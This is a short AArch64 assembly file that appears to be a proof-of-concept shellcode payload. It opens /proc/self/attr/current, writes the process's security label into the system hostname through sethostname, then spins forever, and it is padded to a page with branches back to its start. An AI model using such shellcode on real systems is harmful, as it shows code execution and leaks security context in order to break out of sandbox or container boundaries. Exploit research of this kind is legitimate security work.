.global _start

// signature
file_start:
brk #0
brk #0

// open file
_start:
mov x0, #-100
adrp x1, _start
// NOTE: We are changing the page-relative alignment of the shellcode, so normal
// aarch64 RIP-relative addressing doesn't work.
add x1, x1, attr_path-file_start
mov x2, #0
mov x8, #0x38
svc #0

// read from file
sub sp, sp, #128
mov x1, sp
mov x2, #128
mov x8, #0x3f
svc #0

// shove file contents into hostname
mov x1, x0
mov x0, sp
mov x8, #0xa1
svc #0

// spin
spin_label:
b spin_label

attr_path:
.ascii "/proc/self/attr/current\0"

rept_start:
.rept (0x1000 - (rept_start - file_start)) / 4
b _start
.endr
